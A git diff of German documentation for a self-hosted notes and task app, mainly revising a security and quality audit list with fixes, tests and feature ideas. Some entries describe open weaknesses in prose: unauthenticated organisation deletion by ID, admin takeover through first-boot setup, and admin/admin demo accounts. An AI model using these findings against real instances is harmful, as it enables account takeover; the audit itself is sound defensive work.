- **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
|
||||||
- **Maßnahme:** Dieselbe Prüfkette wie in `authMiddleware` verwenden (gemeinsame Funktion statt Kopien; siehe auch `authenticateUserFromReq`).
|
- **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
|
||||||
|
- **Status: Behoben.** `?token=` nimmt nur noch `mindsift_sec_…` an, sonst `401`. Test: `TestWebhookTokenInURLOnlyAPIKey`.
|
||||||
|
|
||||||
### FLAW-09: Kein Schutz gegen Brute-Force
|
### FLAW-36: Kein allgemeines Größenlimit für Anfragen
|
||||||
- **Fundstellen:** `handleLogin`, `handleRegister`, `handleFirstBootSetup`.
|
- **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
|
||||||
- **Problem:** Weder Rate-Limit noch Sperre; `middleware.RealIP` vertraut `X-Forwarded-For` ungeprüft. Mindestpasswortlänge ist 4 Zeichen. Der Login-Pfad ist so über das Internet raten- und durchprobierbar.
|
- **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
|
||||||
- **Maßnahme:** Rate-Limit je IP und Konto, längeres Mindestpasswort.
|
- **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
|
||||||
|
- **Status: Behoben.** `bodyLimit` ([bodylimit.go](../internal/api/bodylimit.go)) begrenzt jeden Anfragekörper auf 2 MB; Notiz-Sync 8 MB, Importe 101 MB. Test: `TestRequestBodyLimited`.
|
||||||
|
|
||||||
### FLAW-10: `sharing_mode` wird nicht durchgesetzt
|
### FLAW-37: Server-Backups überleben das gelöschte Konto
|
||||||
- **Fundstellen:** `Store.GetDiscoverableUsers`, `Store.GetCollaborators`; Share-Handler in `server.go`.
|
- **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)).
|
||||||
- **Problem:**
|
- **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
|
||||||
1. Der Modus beeinflusst nur `GetDiscoverableUsers`. In `teams_only` liefert die Funktion trotzdem **alle** Benutzer (`if … mode == "open" || mode == "teams_only" { return GetAllUsers() }`).
|
- **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
|
||||||
2. `GET /collaborators` ignoriert den Modus komplett und liefert alle aktiven Konten mit E-Mail-Adresse.
|
- **Status: Behoben.** Konto löschen (selbst oder durch Admins) entfernt `backups/users/<id>/` (`removeUserBackups`, nur dieser eine Ordner). Die Datenbank-Abzüge enthalten das Konto bis zum Ablauf der Aufbewahrung; das gehört in die Datenschutzerklärung der jeweiligen Instanz. Test: `TestDeletedAccountLosesServerBackups`.
|
||||||
3. Keine der Share-Funktionen prüft den Modus. `strict_private` und `teams_only` verhindern Freigaben nicht, wenn man die Ziel-ID kennt.
|
|
||||||
- **Maßnahme:** Eine zentrale Funktion `canShareWith(owner, target)` und in allen Share-Handlern verwenden; Verzeichnisse darauf einschränken.
|
|
||||||
|
|
||||||
### FLAW-11: Block-Upsert prüft das Dokument nicht
|
### FLAW-38: Große Downloads brechen nach 30 s ab
|
||||||
- **Status: Behoben.** Alle Blockänderungen laufen über `Store.applyDocChange`: Einfügen mit einer Block-ID aus einer anderen Notiz wird abgelehnt (`exists`), und der Upsert ändert nur Zeilen derselben Notiz (`WHERE blocks.document_id = excluded.document_id`). Test: `TestInsertCannotReuseBlockIDOfAnotherNote`.
|
- **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`).
|
||||||
- **Fundstelle:** `Store.PatchDocumentBlocks`, `INSERT INTO blocks … ON CONFLICT(id) DO UPDATE`.
|
- **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
|
||||||
- **Problem:** `blocks.id` ist global eindeutig. Existiert die ID bereits in einem **anderen** Dokument, überschreibt der Konflikt-Zweig dessen Inhalt, ohne `document_id` zu prüfen. Voraussetzung: Schreibrecht im eigenen Dokument und Kenntnis einer fremden Block-ID.
|
- **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE.
|
||||||
- **Maßnahme:** `DO UPDATE … WHERE blocks.document_id = excluded.document_id`; fremde IDs ablehnen.
|
- **Status: Behoben.** `allowLongTransfer` gibt Backup-Downloads, Exporten (JSON/ZIP, Markdown-Archiv) und Import-Uploads 30 Minuten Lese- und Schreibzeit; vorher brachen auch große Importe nach 15 s Lesezeit ab.
|
||||||
|
|
||||||
### FLAW-12: Alarm-Logik
|
### FLAW-39: Kein Rate-Limit außerhalb des Logins
|
||||||
- **Fundstellen:** `startAlarmTicker`, `GetDueTasksForAlarm`, `UpdateThoughtDetails`, `UserSettingsView`.
|
- **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung.
|
||||||
- **Probleme:**
|
- **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
|
||||||
- `notify_before_minutes` (Einstellungen: „15 Minuten vorher“ usw.) wird nirgends gelesen. Fälligkeiten haben nur ein Datum (`YYYY-MM-DD`), eine Vorlaufzeit ist damit nicht abbildbar.
|
- **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern.
|
||||||
- Verglichen wird mit `time.Now()` in der Zeitzone des Containers (ohne `TZ` also UTC).
|
- **Status: Behoben.** `loginGuard.throttle` zählt jede Anfrage pro Adresse: Registrierung (und damit Einladungscode-Versuche) 20, „Passwort vergessen“ 10 je 15 Minuten, danach `429` mit `Retry-After`. Gilt nicht für Anfragen ohne bekannte Client-Adresse; `LOGIN_PROTECTION=false` schaltet es mit ab. Tests: `TestRegisterThrottledPerAddress`, `TestThrottleWindowAndSwitch`.
|
||||||
- `alarm_sent` wird nie zurückgesetzt. Wird die Fälligkeit nach einem Alarm verschoben, gibt es keinen neuen.
|
|
||||||
- Schlagen alle Kanäle fehl, wird jede Minute erneut gesendet (kein Backoff, keine Dead-Letter-Queue).
|
|
||||||
- **Maßnahme:** Fälligkeit mit Uhrzeit speichern, `alarm_sent` bei Änderung von `due_date` zurücksetzen, Wiederholungen begrenzen.
|
|
||||||
|
|
||||||
### FLAW-13: Migrationen
|
### FLAW-40: Einladungscode doppelt einlösbar
|
||||||
- **Fundstellen:** `Store.migrate` in [`internal/storage/sqlite.go`](../internal/storage/sqlite.go), [`migrations/001_init.sql`](../migrations/001_init.sql).
|
- **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`.
|
||||||
- **Probleme:**
|
- **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
|
||||||
- Es gibt keine Versionstabelle. Alle `ALTER TABLE`-Anweisungen laufen bei jedem Start erneut; Fehler werden pauschal ignoriert (`_, _ = s.db.Exec(q)`), echte Fehler fallen nicht auf.
|
- **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht.
|
||||||
- Mehrere `UPDATE`/`DROP TABLE`-Bereinigungen laufen bei jedem Start.
|
- **Status: Behoben.** `ClaimUserInvite` beansprucht den Code per `UPDATE … WHERE used_by = ''` vor dem Anlegen des Kontos; scheitert das Konto (Adresse vergeben), gibt `ReleaseUserInvite` ihn wieder frei. Tests: `TestInviteCodeRedeemedOnlyOnce`, `TestInviteReleasedWhenAccountFails`.
|
||||||
- `migrations/001_init.sql` wird nur in das Image kopiert, aber nirgends gelesen, und ist gegenüber dem tatsächlichen Schema veraltet.
|
|
||||||
- **Maßnahme:** `schema_migrations`-Tabelle mit nummerierten, einmalig ausgeführten Schritten; die SQL-Datei entweder einbetten oder entfernen.
|
|
||||||
|
|
||||||
### FLAW-14: Verschluckte Fehler
|
### FLAW-41: Sehr große Frontend-Dateien
|
||||||
- **Fundstellen:** u. a. `PatchDocumentBlocks` (Upserts/Deletes), `AddTaskListShare`, `RemoveTaskListShare`, viele `_, _ = s.db.Exec`.
|
- **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700).
|
||||||
- **Problem:** Scheitert ein Schreibzugriff (z. B. `SQLITE_BUSY`), antwortet die API trotzdem mit Erfolg und broadcastet den Stand, der nie gespeichert wurde. Fehler lassen sich nur schwer nachvollziehen.
|
- **Problem:** Schwer zu überblicken, Änderungen kollidieren leicht, Tests decken nur Teile ab.
|
||||||
- **Beispiel (behoben):** Das Lösen der Verknüpfung zwischen Notiz-Block und Aufgabe („Verknüpfung aufheben“, Löschen eines verknüpften Blocks) schrieb in nicht existierende Spalten `thoughts.doc_id`/`block_id`. Der Fehler wurde verschluckt, die Funktion war nie wirksam. Korrigiert; im neuen Sync-Weg gleicht `ReconcileDocTaskLinks` Häkchen und gelöschte Blöcke ab.
|
- **Maßnahme:** In Unterkomponenten (Seitenleiste, Ordnerbaum, Tags, To-Do-Rollup; Liste, Kanban, Filter) und `api.ts` in REST-Client und Realtime-Transport teilen.
|
||||||
- **Maßnahme:** Mehrstufige Änderungen in Transaktionen bündeln und Fehler zurückgeben.
|
|
||||||
|
|
||||||
### FLAW-15: WriteTimeout und SSE
|
|
||||||
- **Status: Behoben.** `ServeSSE` hebt die Schreibfrist für die eigene Antwort auf (`http.ResponseController.SetWriteDeadline`). Test mit 1-s-Timeout: `TestSSEStreamOutlivesWriteTimeout`. Der Test hat den Abbruch im alten Code bestätigt.
|
|
||||||
- **Fundstelle:** [`cmd/server/main.go`](../cmd/server/main.go) `WriteTimeout: 30 * time.Second`.
|
|
||||||
- **Problem:** Go beendet nach diesem Zeitraum das Schreiben der Antwort. Für den SSE-Fallback (`ServeSSE`) bedeutet das voraussichtlich einen Verbindungsabbruch alle 30 s. WebSockets sind durch Hijacking nicht betroffen. Der Client verbindet sich neu, daher fällt es kaum auf.
|
|
||||||
- **Maßnahme:** Im SSE-Handler `http.ResponseController.SetWriteDeadline(time.Time{})` setzen oder `WriteTimeout` für diese Route aufheben.
|
|
||||||
|
|
||||||
### FLAW-16: Ersteinrichtung und Demo-Modus
|
|
||||||
- **Fundstellen:** `handleFirstBootSetup`, `Store.EnsureDemoAccounts`, `config.Load` (`MINDA_DEMO`, `MINDSIFT_DEMO`, `DEMO_MODE`).
|
|
||||||
- **Probleme:** Solange kein Konto existiert, kann jeder `POST /auth/setup` aufrufen und wird Administrator. Mit gesetztem Demo-Flag entstehen Konten `admin/admin` und `user/user`; versehentlich auf einer öffentlichen Instanz aktiv wäre das eine Komplettübernahme.
|
|
||||||
- **Maßnahme:** Setup per einmaligem Token aus dem Server-Log absichern; Demo-Modus nur zusammen mit expliziter Warnung/Bestätigung.
|
|
||||||
|
|
||||||
### FLAW-17: Schreibgeschützte Dokumentfreigaben
|
|
||||||
- **Status: Behoben.** Zwangsmigration entfernt, Backend prüft Bearbeiter-Rechte (`DocRole`, `/docs/{id}/sync`), der Editor speichert über die Sync-Engine, und der Freigabe-Dialog bietet „Bearbeiten“ an. Browser-Test: `e2e/share.e2e.mjs`.
|
|
||||||
- **Fundstellen:** Migration in `Store.migrate` (`UPDATE doc_shares SET permission = 'read' …`, ebenso `doc_team_shares`, `workspace_folder_shares`), `PatchDocumentBlocks`/`UpdateDocument` (nur Eigentümer).
|
|
||||||
- **Hinweis:** Das ist offenbar gewollt: Nur der Eigentümer schreibt in ein Dokument, Empfänger lesen. Es gibt daher **kein** kollaboratives Bearbeiten. Das Schema (`CHECK(permission IN ('read','write'))`), die Zweige für `write` im Code und frühere Dokumentation suggerieren etwas anderes. Es gibt weder Sperren noch Konfliktauflösung, noch Cursor-Presence.
|
|
||||||
- **Maßnahme:** Entweder Schreibfreigaben mit Konfliktbehandlung ergänzen oder den toten Code und das Schema bereinigen.
|
|
||||||
|
|
||||||
### FLAW-18: Suche
|
|
||||||
- **Fundstelle:** `Store.SearchAll`.
|
|
||||||
- **Probleme:** Durchsucht nur eigene Gedanken (30) und eigene Dokumente (20); geteilte Dokumente, Aufgaben aus geteilten Listen, Einkaufslisten und Blöcke bleiben außen vor. `LIKE '%…%'` ohne Escaping von `%`/`_`, keine Indizes, keine Relevanz.
|
|
||||||
- **Maßnahme:** FTS5-Index über Blöcke/Gedanken; Berechtigungen mitberücksichtigen.
|
|
||||||
|
|
||||||
### FLAW-19: Geringe Frontend-Testabdeckung
|
|
||||||
- **Stand:** Vitest mit jsdom und Testing Library ist eingerichtet (`npm run test:run`) und läuft beim Image-Build. Getestet sind bisher nur Outliner-Funktionen (Backspace-Zusammenführen, Cursor-Position beim Klicken).
|
|
||||||
- **Problem:** Aufgaben, Listen, Freigabe-Dialoge und Berechtigungsanzeigen sind ungetestet. `"lint"` in [`frontend/package.json`](../frontend/package.json) ist weiterhin ein Platzhalter (`echo`).
|
|
||||||
- **Maßnahme:** Tests für kritische Pfade ergänzen, ESLint als echtes `lint`-Skript.
|
|
||||||
|
|
||||||
### FLAW-20: Dateigröße und Duplikate
|
|
||||||
- `internal/storage/sqlite.go` (≈ 5.600 Zeilen), `internal/api/server.go` (≈ 3.000), `WorkspaceView.tsx` (≈ 2.300), `TasksView.tsx` (≈ 2.500), `api.ts` (≈ 1.500).
|
|
||||||
- Die Zugriffsabfrage für Aufgabenlisten steht dreimal fast identisch im Code (`accessibleTaskListIDsQuery`, `GetTaskLists`, `GetTaskListByID`). Dokumentzugriff ist ähnlich verteilt. Änderungen an Berechtigungen müssen an mehreren Stellen erfolgen und werden leicht vergessen.
|
|
||||||
- **Maßnahme:** In Teilmodule zerlegen (Auth, Dokumente, Aufgaben, Listen, Teams), Zugriffsprüfung zentralisieren.
|
|
||||||
|
|
||||||
### FLAW-21: Lizenzdatei fehlt
|
|
||||||
- README und Badge nennen die MIT-Lizenz und verlinken auf `LICENSE`; die Datei existiert nicht im Repository.
|
|
||||||
|
|
||||||
### FLAW-22: Netzwerk-Details
|
|
||||||
- `authenticateUserFromReq` akzeptiert das Token als `?token=` (nötig für `WebSocket`/`EventSource`, die keine Header setzen). Tokens landen dadurch in Proxy- und Zugriffslogs.
|
|
||||||
- `AllowedOrigins: ["*"]` (Auth läuft über `Authorization`-Header, nicht über Cookies, das Risiko ist daher begrenzt) und `CheckOrigin` liefert immer `true`.
|
|
||||||
- Ein einmal verbundener WebSocket/SSE-Stream wird bei Logout oder Token-Widerruf nicht getrennt.
|
|
||||||
- **Maßnahme:** Kurzlebiges, einmaliges Stream-Ticket statt Langzeit-JWT in der URL; Origin gegen `BASE_URL` prüfen.
|
|
||||||
|
|
||||||
### FLAW-23: SQLite-Schreibengpass
|
|
||||||
- Eine SQLite-Datei (WAL, `busy_timeout`, bis zu 8 offene Verbindungen) erlaubt nur einen gleichzeitigen Schreiber. Für Familien und kleine Teams unkritisch; bei vielen aktiven Editoren sind `SQLITE_BUSY`-Fehler möglich, die wegen FLAW-14 stumm bleiben.
|
|
||||||
|
|
||||||
### FLAW-24: Organisations-Endpunkte ohne Berechtigungsprüfung
|
|
||||||
- **Fundstellen:** `handleDeleteOrganization`, `handleGetOrgTeams`, `handleCreateOrgTeam` (und `Store.DeleteOrganization`) in `server.go` bzw. `sqlite.go`.
|
|
||||||
- **Problem:** Diese Handler prüfen weder Eigentümer noch Mitgliedschaft. Jeder angemeldete Nutzer kann mit bekannter ID eine fremde Organisation löschen, deren Gruppen auflisten oder dort Gruppen anlegen. Gruppenbezogene Endpunkte (`/teams/{id}…`) prüfen dagegen korrekt auf Gruppen-Admin. Das Datenmodell kennt Organisationen nur noch rudimentär; im UI werden Gruppen direkt über `POST /teams` angelegt (`orgId` Standard `default`).
|
|
||||||
- **Maßnahme:** Organisationen entweder konsequent absichern (Eigentümer/Server-Admin) oder entfernen.
|
|
||||||
|
|
||||||
### FLAW-25: Teilweise ausgeführte Struktur-Aktionen an gesperrten Bullets
|
|
||||||
- **Status: Behoben.** Fremd gesperrte Bullets sind im Editor schreibgeschützt und zeigen, wer sie bearbeitet. Löschen, Zusammenführen, Ein-/Ausrücken und Ziehen werden nicht gestartet, wenn ein beteiligter Bullet (oder einer im Ast) gesperrt ist; stattdessen erscheint ein Hinweis. Ebenso für „Übernehmen“/„Verwerfen“ und Rückgängig. Browser-Test: `e2e/lock.e2e.mjs`.
|
|
||||||
- **Fundstellen:** `handleMergeWithPrevious` und `handleIndentBlock` in [`OutlinerTree.tsx`](../frontend/src/features/workspace/OutlinerTree.tsx); Sperrregeln in `internal/collab` (Verschieben/Löschen gesperrter Blöcke wird abgelehnt).
|
|
||||||
- **Problem:** Eine Editor-Aktion besteht oft aus mehreren Operationen. Ist einer der beteiligten Bullets von jemand anderem gesperrt, lehnt der Server nur diese Operation ab. Beispiel aus dem Browser-Test: Backspace am Zeilenanfang hängt den Text oben an (angewendet), das Löschen des unteren Bullets wird abgelehnt – der Text steht dann doppelt da. Einrücken eines fremd gesperrten Bullets wird ohne Hinweis zurückgenommen. Es geht kein Text verloren.
|
|
||||||
- **Maßnahme (Phase 3):** Gesperrte Bullets im Editor anzeigen und Struktur-Aktionen, die sie berühren, gar nicht erst ausführen.
|
|
||||||
|
|
||||||
### FLAW-26: Fokus-Verzögerung nach Enter
|
|
||||||
- **Status: Behoben.** Neu eingehängte Bullets bekommen den Fokus sofort beim Einhängen. Browser-Test: „Sofort nach Enter Getipptes landet im neuen Bullet“.
|
|
||||||
- **Fundstelle:** `focusBlockInput` in `OutlinerTree.tsx` setzt den Fokus erst im nächsten Animation-Frame.
|
|
||||||
- **Problem:** Zeichen, die innerhalb dieses Frames getippt werden (automatisiert oder sehr schnelles Tippen), landen noch im vorherigen Bullet. Bei fremd gesperrtem Bullet entsteht daraus eine Konfliktkopie.
|
|
||||||
- **Maßnahme:** Fokus nach dem Anlegen synchron setzen (`useLayoutEffect`).
|
|
||||||
|
|
||||||
### FLAW-27: Grenzen nach der Verdichtung
|
|
||||||
- **Status: Bekannt, bewusst so.**
|
|
||||||
- **Fundstellen:** `CompactDocs` in [`internal/storage/docsync.go`](../internal/storage/docsync.go), `reviveAsNewBlock` in [`internal/collab/ops.go`](../internal/collab/ops.go).
|
|
||||||
- **Verhalten:** Nach 30 Tagen sind gelöschte Blöcke endgültig weg. Rückgängig für ein so altes Löschen ist nicht mehr möglich (Hinweis im Editor). Text, der wochenlang offline in einem inzwischen endgültig gelöschten Block getippt wurde, kommt als neuer Block am Ende der Notiz zurück, nicht an der alten Stelle. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet (Antwort ging verloren, Gerät so lange offline), wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie, kein stilles Überschreiben.
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Aus der früheren Fassung entfernt
|
## Ideen für Funktionen
|
||||||
|
|
||||||
Die frühere `flaws.md` führte als „gelöst“, was im Code nicht existiert: In-Memory-DocRooms, `clientId`-Echo-Schutz, Cursor-Presence, 1,5-s-Debounce-Flush, `internal/ws/docroom.go`, `frontend/src/lib/useDocumentSync.ts` und Yjs/CRDT. Der Code enthält nur noch `internal/ws/hub.go` (Räume, Benutzer-Kanäle, SSE-Fallback). Die CRDT-Tabellen werden beim Start gelöscht (`DROP TABLE document_crdt_*`). Dokumente werden per REST gespeichert (`PATCH /documents/{id}/blocks`) und als `DOC_BLOCKS_PATCHED` verteilt. Die frühere Aussage zur Token-Versionierung (`token_version`, `revoked_tokens`) trifft dagegen zu und ist in [sharing-and-permissions.md](sharing-and-permissions.md) und [architecture.md](architecture.md) beschrieben.
|
### Erfassen
|
||||||
|
- **Teilen-Ziel der App** (`share_target` im Manifest): Links und Texte aus anderen Apps auf dem Handy direkt in die Inbox teilen.
|
||||||
|
- **Natürliche Zeitangaben** beim Erfassen: „Zahnarzt morgen 14 Uhr“ setzt die Fälligkeit mit Uhrzeit.
|
||||||
|
- **Mail an die Inbox:** eine persönliche Adresse, deren Mails als Gedanken landen.
|
||||||
|
|
||||||
|
### Aufgaben & Erinnerungen
|
||||||
|
- **Web-Push-Benachrichtigungen** für Alarme direkt auf Handy und Desktop, ohne Discord oder E-Mail.
|
||||||
|
- **Alarme auch für Zugewiesene**, nicht nur für den Eigentümer der Aufgabe.
|
||||||
|
- **Zeitzone pro Benutzer** statt einer Server-Zeitzone für alle.
|
||||||
|
- **Kalenderansicht und iCal-Abo** der fälligen Aufgaben (z. B. in Google-/Apple-Kalender).
|
||||||
|
- **Flexiblere Wiederholungen:** „jeden 2. Dienstag“, „am letzten Werktag“, „3 Tage nach Erledigen“.
|
||||||
|
|
||||||
|
### Notizen
|
||||||
|
- **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt.
|
||||||
|
- **Bilder und Anhänge** in Notizen.
|
||||||
|
- **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“).
|
||||||
|
- **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum.
|
||||||
|
- **Verlinkungs-Graph** auf Basis der Backlinks.
|
||||||
|
|
||||||
|
### Listen
|
||||||
|
- **Sortierung nach Laden:** Kategorien in der Reihenfolge des eigenen Supermarkts.
|
||||||
|
- **Häufige Einträge vorschlagen** beim Tippen (aus erledigten Einträgen).
|
||||||
|
|
||||||
|
### Konto & Sicherheit
|
||||||
|
- **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**.
|
||||||
|
- **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups.
|
||||||
|
- **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert.
|
||||||
|
|
||||||
|
### Betrieb
|
||||||
|
- **Backups an ein externes Ziel** (WebDAV, S3, SFTP), damit sie eine kaputte Platte überleben.
|
||||||
|
- **`/metrics` für Prometheus** und ein Healthcheck, der auch die Datenbank prüft.
|
||||||
|
- **Update-Hinweis** in der Admin-Oberfläche, wenn ein neues Release-Image verfügbar ist.
|
||||||
@@ -149,7 +149,7 @@ Ein Hintergrundjob (`startCompaction`) läuft beim Start und danach alle 6 Stund
|
|||||||
| Idempotenz-Ergebnisse | 90 Tage |
|
| Idempotenz-Ergebnisse | 90 Tage |
|
||||||
| Leases und Sitzungen im Speicher | abgelaufene werden entfernt |
|
| Leases und Sitzungen im Speicher | abgelaufene werden entfernt |
|
||||||
|
|
||||||
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: [FLAW-27](../flaws.md).
|
Clients hinter der Grenze laden den Snapshot neu und behalten ihre Warteschlange. Grenzen dieses Vorgehens: Nach 30 Tagen sind gelöschte Blöcke endgültig weg, Rückgängig ist dann nicht mehr möglich. Text, der so lange offline in einem inzwischen gelöschten Block getippt wurde, kommt als neuer Block ans Ende der Notiz. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet, wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie.
|
||||||
|
|
||||||
## Tests
|
## Tests
|
||||||
|
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ Einkaufs-, Pack- und Checklisten für gemeinsames Arbeiten. Code: [SharedListsVi
|
|||||||
## Datenmodell
|
## Datenmodell
|
||||||
|
|
||||||
- `lists`: Eigentümer, `title`, `icon`, `list_type` (`shopping`, `checklist`, `vacation`).
|
- `lists`: Eigentümer, `title`, `icon`, `list_type` (`shopping`, `checklist`, `vacation`).
|
||||||
- `list_items`: `content`, `category`, `quantity`, `is_completed`, `completed_by(_name)`, `sort_order`.
|
- `list_items`: `content`, `category`, `quantity`, `is_completed`, `completed_by(_name)`, `created_by`, `sort_order`.
|
||||||
- `list_shares`: Ziel (Benutzer oder Gruppe) und Rolle `editor` oder `viewer`.
|
- `list_shares`: Ziel (Benutzer oder Gruppe) und Rolle `editor` oder `viewer`.
|
||||||
|
|
||||||
## Funktionen
|
## Funktionen
|
||||||
@@ -16,4 +16,6 @@ Einkaufs-, Pack- und Checklisten für gemeinsames Arbeiten. Code: [SharedListsVi
|
|||||||
- **Abhaken** speichert, wer und wann; Erledigte stehen in einem eigenen Bereich und lassen sich per „Erledigte entfernen“ löschen (`clear-completed`).
|
- **Abhaken** speichert, wer und wann; Erledigte stehen in einem eigenen Bereich und lassen sich per „Erledigte entfernen“ löschen (`clear-completed`).
|
||||||
- **Freigabe** über den Dialog `UnifiedShareModal` (Bearbeiten oder Nur Lesen). Ein Leser sieht Änderungen live, ändert aber nichts.
|
- **Freigabe** über den Dialog `UnifiedShareModal` (Bearbeiten oder Nur Lesen). Ein Leser sieht Änderungen live, ändert aber nichts.
|
||||||
- **Live-Sync:** Ereignisse `ITEM_*` und `LIST_*` im Raum der Liste ([websocket.md](../api/websocket.md)). Abhaken erscheint bei allen Beteiligten sofort.
|
- **Live-Sync:** Ereignisse `ITEM_*` und `LIST_*` im Raum der Liste ([websocket.md](../api/websocket.md)). Abhaken erscheint bei allen Beteiligten sofort.
|
||||||
|
- **Wer hat's hinzugefügt:** In geteilten Listen zeigt jeder Eintrag ein kleines Profilbild der Person, die ihn angelegt hat (`createdBy`, `createdByName`). Einträge von vor dieser Funktion haben keinen Autor und zeigen nichts.
|
||||||
|
- **Tabs** zeigen offene Einträge als runden Zähler und die Personen mit Zugriff als Profilbild-Stapel ([ui-patterns.md](../ui-patterns.md)); die API liefert sie je Liste als `members`.
|
||||||
- Aus der Triage lassen sich Gedanken direkt als Eintrag in eine Liste übernehmen.
|
- Aus der Triage lassen sich Gedanken direkt als Eintrag in eine Liste übernehmen.
|
||||||
@@ -4,13 +4,13 @@ Code: [TasksView.tsx](../../frontend/src/features/triage/TasksView.tsx), [TaskDe
|
|||||||
|
|
||||||
## Datenmodell
|
## Datenmodell
|
||||||
|
|
||||||
Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus`, `priority` (`low`/`normal`/`high`/`urgent`), `dueDate` (nur Datum), `notes` (Markdown), `subtasks` (`[{id, title, isCompleted}]`), `tags`, `taskListId` und `sortOrder`. Aufgaben ohne Liste sind persönlich.
|
Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus`, `priority` (`low`/`normal`/`high`/`urgent`), `dueDate` (`YYYY-MM-DD` oder mit Uhrzeit `YYYY-MM-DDTHH:MM`; die API nimmt auch `YYYY-MM-DD HH:MM` an), `notes` (Markdown), `subtasks` (`[{id, title, isCompleted}]`), `tags`, `taskListId`, `sortOrder` und `assignees` (Benutzer-IDs). Aufgaben ohne Liste sind persönlich.
|
||||||
|
|
||||||
## Ansichten
|
## Ansichten
|
||||||
|
|
||||||
- **Liste** mit Filtern (offen, erledigt, Papierkorb), Gruppierung (z. B. nach Status oder Fälligkeit), Sortierung und Hashtag-Filter.
|
- **Liste** mit Filtern (offen, erledigt, Papierkorb), Gruppierung (z. B. nach Status oder Fälligkeit), Sortierung und Hashtag-Filter.
|
||||||
- **Kanban:** Spalten pro Liste frei konfigurierbar (Name, Farbe, „Erledigt“-Spalte). Standard: *Zu erledigen*, *In Bearbeitung*, *Wartet auf andere*, *Erledigt*. Eine Karte in eine „Erledigt“-Spalte zu ziehen setzt `isCompleted`.
|
- **Kanban:** Spalten pro Liste frei konfigurierbar (Name, Farbe, „Erledigt“-Spalte). Standard: *Zu erledigen*, *In Bearbeitung*, *Wartet auf andere*, *Erledigt*. Eine Karte in eine „Erledigt“-Spalte zu ziehen setzt `isCompleted`.
|
||||||
- Drag & Drop sortiert in der Liste und zwischen Spalten; ein Klick öffnet das Detail-Fenster (Titel, Status, Priorität, Fälligkeit mit Schnellwahl, Liste, Hashtags, Unteraufgaben mit Fortschrittsbalken, Notizen).
|
- Drag & Drop sortiert in der Liste und zwischen Spalten; ein Klick öffnet das Detail-Fenster (Titel, Status, Priorität, Fälligkeit mit optionaler Uhrzeit und Schnellwahl, Liste, Hashtags, Unteraufgaben mit Fortschrittsbalken, Notizen).
|
||||||
- Aufgaben lassen sich in eine Notiz umwandeln („Als Notiz vertiefen“). Aufgaben aus Notiz-Checkboxen (`enhanced-task`) bleiben verknüpft: Abhaken wirkt in beide Richtungen (`SyncDocBlockAndTask`), „In Notiz öffnen“ springt zum Block.
|
- Aufgaben lassen sich in eine Notiz umwandeln („Als Notiz vertiefen“). Aufgaben aus Notiz-Checkboxen (`enhanced-task`) bleiben verknüpft: Abhaken wirkt in beide Richtungen (`SyncDocBlockAndTask`), „In Notiz öffnen“ springt zum Block.
|
||||||
|
|
||||||
## Aufgabenlisten und Freigabe
|
## Aufgabenlisten und Freigabe
|
||||||
@@ -21,18 +21,42 @@ Eine Aufgabe ist ein `thought` ([database.md](../database.md)) mit `kanbanStatus
|
|||||||
- **Leser:** sieht alles, kann nichts ändern. Der Server antwortet mit `403`; die Oberfläche blendet Eingaben aus und zeigt „Nur Lesen“.
|
- **Leser:** sieht alles, kann nichts ändern. Der Server antwortet mit `403`; die Oberfläche blendet Eingaben aus und zeigt „Nur Lesen“.
|
||||||
